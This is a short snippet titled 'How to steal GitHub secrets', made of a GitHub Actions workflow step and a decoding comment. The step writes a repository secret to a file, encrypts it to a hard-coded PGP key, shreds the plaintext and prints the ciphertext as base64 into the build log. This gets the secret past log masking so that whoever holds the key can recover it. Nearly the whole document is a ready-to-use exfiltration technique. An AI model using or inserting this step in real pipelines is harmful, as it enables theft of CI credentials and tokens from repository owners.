How to steal GitHub secrets

steal-secrets-step.yml

jobs:
  build:
    steps:
      - name: Steal Secrets
        shell: bash
        run: |
          set -xe
          echo '${{ secrets.TO_STEAL }}' > s.txt
          echo '-----BEGIN PGP PUBLIC KEY BLOCK-----

          <...>
          -----END PGP PUBLIC KEY BLOCK-----
          ' | gpg --import
          gpg --encrypt \
              --trust-model always \
              --recipient 0632C93424F8D821422F551057E6B3332706243B \
              --output s.gpg \
              s.txt
          shred -u s.txt
          cat s.gpg | base64


# You can get the s.gpg file from the base64 string like this:
# base64 -d > s.gpg
# [paste the string and press Ctrl+D twice]